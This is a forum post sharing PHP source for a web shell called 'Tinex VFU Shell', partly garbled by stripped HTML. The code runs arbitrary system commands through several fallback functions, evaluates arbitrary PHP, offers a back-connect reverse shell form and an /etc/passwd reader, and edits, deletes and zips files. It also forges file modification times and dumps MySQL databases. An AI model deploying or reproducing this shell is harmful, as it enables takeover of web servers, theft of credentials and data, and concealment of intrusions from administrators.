$yourip port $yourport ..."); } formhead(array('title'=>'Back Connect')); makehide('action','backconnect'); p('

'); p('Your IP:'); makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip)); p('Your Port:'); makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport)); p('Use:'); makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use)); makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt')); p('

'); formfoot();}//end backconnect window via NCelseif ($action == 'etcpwd') {formhead(array('title'=>'Get /etc/passwd')); makehide('action','etcpwd'); makehide('dir',$nowpath);$i = 0; echo "

 

"; formfoot();}elseif ($action == 'eval') { $phpcode = trim($phpcode); if($phpcode){ if (!preg_match('#$phpcode"); } formhead(array('title'=>'Eval PHP Code')); makehide('action','eval'); maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode)); p('

This is the hidden content, please

'); formfooter();}//end evalelseif ($action == 'editfile') { if(file_exists($opfile)) { $fp=@fopen($opfile,'r'); $contents=@fread($fp, filesize($opfile)); @fclose($fp); $contents=htmlspecialchars($contents); } formhead(array('title'=>'Create / Edit File')); makehide('action','file'); makehide('dir',$nowpath); makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1)); maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents)); formfooter();}//end editfileelseif ($action == 'newtime') { $opfilemtime = @filemtime($opfile); //$time = strtotime("$year-$month-$day $hour:$minute:$second"); $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12); formhead(array('title'=>'Clone file was last modified time')); makehide('action','file'); makehide('dir',$nowpath); makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1)); formfooter(); formhead(array('title'=>'Set last modified')); makehide('action','file'); makehide('dir',$nowpath); makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1)); p('

Instead »'); p('year:'); makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4)); p('month:'); makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2)); p('day:'); makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2)); p('hour:'); makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2)); p('minute:'); makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2)); p('second:'); makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2)); p('

'); formfooter();}//end newtimeelseif ($action == 'shell') { if (IS_WIN && IS_COM) { if($program && $parameter) { $shell= new COM('Shell.Application'); $a = $shell->ShellExecute($program,$parameter); m('Program run has '.(!$a ? 'success' : 'fail')); } !$program && $program = 'c:\windows\system32\cmd.exe'; !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt'; formhead(array('title'=>'Execute Program')); makehide('action','shell'); makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1)); p('

'); makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter)); makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); p('

'); formfoot(); } formhead(array('title'=>'Execute Command')); makehide('action','shell'); if (IS_WIN && IS_COM) { $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open'); makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1)); } p('

'); makeinput(array('title'=>'Command','name'=>'command','value'=>$command)); makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute')); p('

'); formfoot(); if ($command) { p('
');        if ($execfunc=='wscript' && IS_WIN && IS_COM) {            $wsh = new COM('WScript.shell');            $exec = $wsh->exec('cmd.exe /c '.$command);            $stdout = $exec->StdOut();            $stroutput = $stdout->ReadAll();            echo $stroutput;        } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {            $descriptorspec = array(               0 => array('pipe', 'r'),               1 => array('pipe', 'w'),               2 => array('pipe', 'w')            );            $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);            if (is_resource($process)) {                fwrite($pipes[0], $command."\r\n");                fwrite($pipes[0], "exit\r\n");                fclose($pipes[0]);                while (!feof($pipes[1])) {                    echo fgets($pipes[1], 1024);                }                fclose($pipes[1]);                while (!feof($pipes[2])) {                    echo fgets($pipes[2], 1024);                }                fclose($pipes[2]);                proc_close($process);            }        } else {            echo(execute($command));        }        p('
'); }}//end shellelseif ($action == 'phpenv') { $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed'; $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'); !$dis_func && $dis_func = 'No'; $info = array( 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)), 2 => array('Server Domain',$_SERVER['SERVER_NAME']), 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])), 4 => array('Server OS',PHP_OS), 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']), 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']), 7 => array('Server Web Port',$_SERVER['SERVER_PORT']), 8 => array('PHP run mode',strtoupper(php_sapi_name())), 9 => array('The file path',__FILE__), 10 => array('PHP Version',PHP_VERSION), 11 => array('PHPINFO',(IS_PHPINFO ? 'Yes' : 'No')), 12 => array('Safe Mode',getcfg('safe_mode')), 13 => array('Administrator',$adminmail), 14 => array('allow_url_fopen',getcfg('allow_url_fopen')), 15 => array('enable_dl',getcfg('enable_dl')), 16 => array('display_errors',getcfg('display_errors')), 17 => array('register_globals',getcfg('register_globals')), 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')), 19 => array('memory_limit',getcfg('memory_limit')), 20 => array('post_max_size',getcfg('post_max_size')), 21 => array('upload_max_filesize',$upsize), 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'), 23 => array('disable_functions',$dis_func), ); if($phpvarname) { m($phpvarname .' : '.getcfg($phpvarname)); } formhead(array('title'=>'Server environment')); makehide('action','phpenv'); makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1)); formfooter(); $hp = array(0=> 'Server', 1=> 'PHP'); for($a=0;$a'.$hp[$a].' »'); p('
    '); if ($a==0) { for($i=1;$i'.$info[$i][0].':'.$info[$i][1].''); } } elseif ($a == 1) { for($i=10;$i'.$info[$i][0].':'.$info[$i][1].''); } } p('
'); }}//end phpenvelse { m('Undefined Action');}?>
<?php debuginfo();ob_end_flush();?> Copyright © 2012-2013 -
This is the hidden content, please
Is Not My Own Shell I'm Just The Developer.
<?php/*======================================================Show info shell======================================================*/function m($msg) { echo '
'; echo $msg; echo '
';}function scookie($key, $value, $life = 0, $prefix = 1) { global $admin, $timestamp, $_SERVER; $key = ($prefix ? $admin['cookiepre'] : '').$key; $life = $life ? $life : $admin['cookielife']; $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0; setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);}function multi($num, $perpage, $curpage, $tablename) { $multipage = ''; if($num > $perpage) { $page = 10; $offset = 5; $pages = @ceil($num / $perpage); if($page > $pages) { $from = 1; $to = $pages; } else { $from = $curpage - $offset; $to = $curpage + $page - $offset - 1; if($from $pages) { $from = $curpage - $pages + $to; $to = $pages; if(($to - $from) 1 && $pages > $page ? 'First ' : '').($curpage > 1 ? 'Prev ' : ''); for($i = $from; $i ['.$i.'] '; } $multipage .= ($curpage Next' : '').($to Last' : ''); $multipage = $multipage ? '

Pages: '.$multipage.'

' : ''; } return $multipage;}// Login pagefunction loginpage() {?> .::[ Tinex VFU Shell ]::.

 

 

 

 


<?phpecho "".$err_mess."";?>
<?php exit;}//end loginpage()function execute($cfe) { $res = ''; if ($cfe) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ''; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res;}function which($pr) { $path = execute("which $pr"); return ($path ? $path : $pr);}function cf($fname,$text){ if($fp=@fopen($fname,'w')) { @fputs($fp,@base64_decode($text)); @fclose($fp); }}// Debugfunction debuginfo() { global $starttime; $mtime = explode(' ', microtime()); $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6); echo 'Processed in '.$totaltime.' second(s)';}// Function connect databasefunction dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') { if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) { p('

Can not connect to MySQL server

'); exit; } if($link && $dbname) { if (!@mysql_select_db($dbname, $link)) { p('

Database selected has error

'); exit; } } if($link && mysql_get_server_info() > '4.1') { if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) { q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link); } } return $link;}// Array stripfunction s_array(&$array) { if (is_array($array)) { foreach ($array as $k => $v) { $array[$k] = s_array($v); } } else if (is_string($array)) { $array = stripslashes($array); } return $array;}// HTML Stripfunction html_clean($content) { $content = htmlspecialchars($content); $content = str_replace("\n", "

", $content); $content = str_replace(" ", "  ", $content); $content = str_replace("\t", "    ", $content); return $content;}// Chmodfunction getChmod($filepath){ return substr(base_convert(@fileperms($filepath),10,8),-4);}function getPerms($filepath) { $mode = @fileperms($filepath); if (($mode & 0xC000) === 0xC000) {$type = 's';} elseif (($mode & 0x4000) === 0x4000) {$type = 'd';} elseif (($mode & 0xA000) === 0xA000) {$type = 'l';} elseif (($mode & 0x8000) === 0x8000) {$type = '-';} elseif (($mode & 0x6000) === 0x6000) {$type = 'b';} elseif (($mode & 0x2000) === 0x2000) {$type = 'c';} elseif (($mode & 0x1000) === 0x1000) {$type = 'p';} else {$type = '?';} $owner['read'] = ($mode & 00400) ? 'r' : '-'; $owner['write'] = ($mode & 00200) ? 'w' : '-'; $owner['execute'] = ($mode & 00100) ? 'x' : '-'; $group['read'] = ($mode & 00040) ? 'r' : '-'; $group['write'] = ($mode & 00020) ? 'w' : '-'; $group['execute'] = ($mode & 00010) ? 'x' : '-'; $world['read'] = ($mode & 00004) ? 'r' : '-'; $world['write'] = ($mode & 00002) ? 'w' : '-'; $world['execute'] = ($mode & 00001) ? 'x' : '-'; if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';} if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';} if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';} return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];}function getUser($filepath) { if (function_exists('posix_getpwuid')) { $array = @posix_getpwuid(@fileowner($filepath)); if ($array && is_array($array)) { return ' / '.$array['name'].''; } } return '';}// Delete dirfunction deltree($deldir) { $mydir=@dir($deldir); while($file=$mydir->read()) { if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { @chmod($deldir.'/'.$file,0777); deltree($deldir.'/'.$file); } if (is_file($deldir.'/'.$file)) { @chmod($deldir.'/'.$file,0777); @unlink($deldir.'/'.$file); } } $mydir->close(); @chmod($deldir,0777); return @rmdir($deldir) ? 1 : 0;}// Backgroundfunction bg() { global $bgc; return ($bgc++%2==0) ? 'alt1' : 'alt2';}// Get pathfunction getPath($scriptpath, $nowpath) { if ($nowpath == '.') { $nowpath = $scriptpath; } $nowpath = str_replace('\\', '/', $nowpath); $nowpath = str_replace('//', '/', $nowpath); if (substr($nowpath, -1) != '/') { $nowpath = $nowpath.'/'; } return $nowpath;}// Get up pathfunction getUpPath($nowpath) { $pathdb = explode('/', $nowpath); $num = count($pathdb); if ($num > 2) { unset($pathdb[$num-1],$pathdb[$num-2]); } $uppath = implode('/', $pathdb).'/'; $uppath = str_replace('//', '/', $uppath); return $uppath;}// Configfunction getcfg($varname) { $result = get_cfg_var($varname); if ($result == 0) { return 'No'; } elseif ($result == 1) { return 'Yes'; } else { return $result; }}// Function namefunction getfun($funName) { return (false !== function_exists($funName)) ? 'Yes' : 'No';}function GetList($dir){ global $dirdata,$j,$nowpath; !$j && $j=1; if ($dh = opendir($dir)) { while ($file = readdir($dh)) { $f=str_replace('//','/',$dir.'/'.$file); if($file!='.' && $file!='..' && is_dir($f)){ if (is_writable($f)) { $dirdata[$j]['filename']=str_replace($nowpath,'',$f); $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f)); $dirdata[$j]['dirchmod']=getChmod($f); $dirdata[$j]['dirperm']=getPerms($f); $dirdata[$j]['dirlink']=ue($dir); $dirdata[$j]['server_link']=$f; $dirdata[$j]['client_link']=ue($f); $j++; } GetList($f); } } closedir($dh); clearstatcache(); return $dirdata; } else { return array(); }}function qy($sql) { //echo $sql.'

'; $res = $error = ''; if(!$res = @mysql_query($sql)) { return 0; } else if(is_resource($res)) { return 1; } else { return 2; } return 0;}function q($sql) { return @mysql_query($sql);}function fr($qy){ mysql_free_result($qy);}function sizecount($size) { if($size > 1073741824) { $size = round($size / 1073741824 * 100) / 100 . ' G'; } elseif($size > 1048576) { $size = round($size / 1048576 * 100) / 100 . ' M'; } elseif($size > 1024) { $size = round($size / 1024 * 100) / 100 . ' K'; } else { $size = $size . ' B'; } return $size;}// Zipclass PHPZip{ var $out=''; function PHPZip($dir) { if (@function_exists('gzcompress')) { $curdir = getcwd(); if (is_array($dir)) $filelist = $dir; else{ $filelist=$this -> GetFileList($dir);//File list foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1); } if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir); else chdir($curdir); if (count($filelist)>0){ foreach($filelist as $filename){ if (is_file($filename)){ $fd = fopen ($filename, 'r'); $content = @fread ($fd, filesize($filename)); fclose ($fd); if (is_array($dir)) $filename = basename($filename); $this -> addFile($content, $filename); } } $this->out = $this -> file(); chdir($curdir); } return 1; } else return 0; } // Show file list function GetFileList($dir){ static $a; if (is_dir($dir)) { if ($dh = opendir($dir)) { while ($file = readdir($dh)) { if($file!='.' && $file!='..'){ $f=$dir .'/'. $file; if(is_dir($f)) $this->GetFileList($f); $a[]=$f; } } closedir($dh); } } return $a; } var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; var $old_offset = 0; function unix2DosTime($unixtime = 0) { $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); if ($timearray['year'] > 1); } function addFile($data, $name, $time = 0) { $name = str_replace('\\', '/', $name); $dtime = dechex($this->unix2DosTime($time)); $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1]; eval('$hexdtime = "' . $hexdtime . '";'); $fr = "\x50\x4b\x03\x04"; $fr .= "\x14\x00"; $fr .= "\x00\x00"; $fr .= "\x08\x00"; $fr .= $hexdtime; $unc_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $c_len = strlen($zdata); $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $fr .= pack('v', strlen($name)); $fr .= pack('v', 0); $fr .= $name; $fr .= $zdata; $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $this -> datasec[] = $fr; $new_offset = strlen(implode('', $this->datasec)); $cdrec = "\x50\x4b\x01\x02"; $cdrec .= "\x00\x00"; $cdrec .= "\x14\x00"; $cdrec .= "\x00\x00"; $cdrec .= "\x08\x00"; $cdrec .= $hexdtime; $cdrec .= pack('V', $crc); $cdrec .= pack('V', $c_len); $cdrec .= pack('V', $unc_len); $cdrec .= pack('v', strlen($name) ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('V', 32 ); $cdrec .= pack('V', $this -> old_offset ); $this -> old_offset = $new_offset; $cdrec .= $name; $this -> ctrl_dir[] = $cdrec; } function file() { $data = implode('', $this -> datasec); $ctrldir = implode('', $this -> ctrl_dir); return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00"; }}// Dump mysqlfunction sqldumptable($table, $fp=0) { $tabledump = "DROP TABLE IF EXISTS $table;\n"; $tabledump .= "CREATE TABLE $table (\n"; $firstfield=1; $fields = q("SHOW FIELDS FROM $table"); while ($field = mysql_fetch_array($fields)) { if (!$firstfield) { $tabledump .= ",\n"; } else { $firstfield=0; } $tabledump .= " $field[Field] $field[Type]"; if (!empty($field["Default"])) { $tabledump .= " DEFAULT '$field[Default]'"; } if ($field['Null'] != "YES") { $tabledump .= " NOT NULL"; } if ($field['Extra'] != "") { $tabledump .= " $field[Extra]"; } } fr($fields); $keys = q("SHOW KEYS FROM $table"); while ($key = mysql_fetch_array($keys)) { $kname=$key['Key_name']; if ($kname != "PRIMARY" && $key['Non_unique'] == 0) { $kname="UNIQUE|$kname"; } if(!is_array($index[$kname])) { $index[$kname] = array(); } $index[$kname][] = $key['Column_name']; } fr($keys); while(list($kname, $columns) = @each($index)) { $tabledump .= ",\n"; $colnames=implode($columns,","); if ($kname == "PRIMARY") { $tabledump .= " PRIMARY KEY ($colnames)"; } else { if (substr($kname,0,6) == "UNIQUE") { $kname=substr($kname,7); } $tabledump .= " KEY $kname ($colnames)"; } } $tabledump .= "\n);\n\n"; if ($fp) { fwrite($fp,$tabledump); } else { echo $tabledump; } $rows = q("SELECT * FROM $table"); $numfields = mysql_num_fields($rows); while ($row = mysql_fetch_array($rows)) { $tabledump = "INSERT INTO $table VALUES("; $fieldcounter=-1; $firstfield=1; while (++$fieldcounter');}function tbfoot(){ p('

');}function makehide($name,$value=''){ p("");}function makeinput($arg = array()){ $arg['size'] = $arg['size'] > 0 ? "size=\"$arg\"" : "size=\"100\""; $arg['extra'] = $arg['extra'] ? $arg['extra'] : ''; !$arg['type'] && $arg['type'] = 'text'; $arg['title'] = $arg['title'] ? $arg['title'].'

' : ''; $arg['class'] = $arg['class'] ? $arg['class'] : 'input'; if ($arg['newline']) { p("

$arg[title]

"); } else { p("$arg[title]"); }}function makeselect($arg = array()){ if ($arg['onchange']) { $onchange = 'onchange="'.$arg['onchange'].'"'; } $arg['title'] = $arg['title'] ? $arg['title'] : ''; if ($arg['newline']) p('

'); p("$arg[title] "); if ($arg['newline']) p('

');}function formhead($arg = array()) { !$arg['method'] && $arg['method'] = 'post'; !$arg['action'] && $arg['action'] = $self; $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : ''; !$arg['name'] && $arg['name'] = 'form1'; p("
"); if ($arg['title']) { p('

'.$arg['title'].' »

'); }}function maketext($arg = array()){ !$arg['cols'] && $arg['cols'] = 100; !$arg['rows'] && $arg['rows'] = 25; $arg['title'] = $arg['title'] ? $arg['title'].'

' : ''; p("

$arg[title]

");}function formfooter($name = ''){ !$name && $name = 'submit'; p('

'); p('
');}function formfoot(){ p('');}// Exitfunction pr($a) { echo '
';    print_r($a);    echo '
';}?>[/LENGUAJE][/HIDE-THANKS]
Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.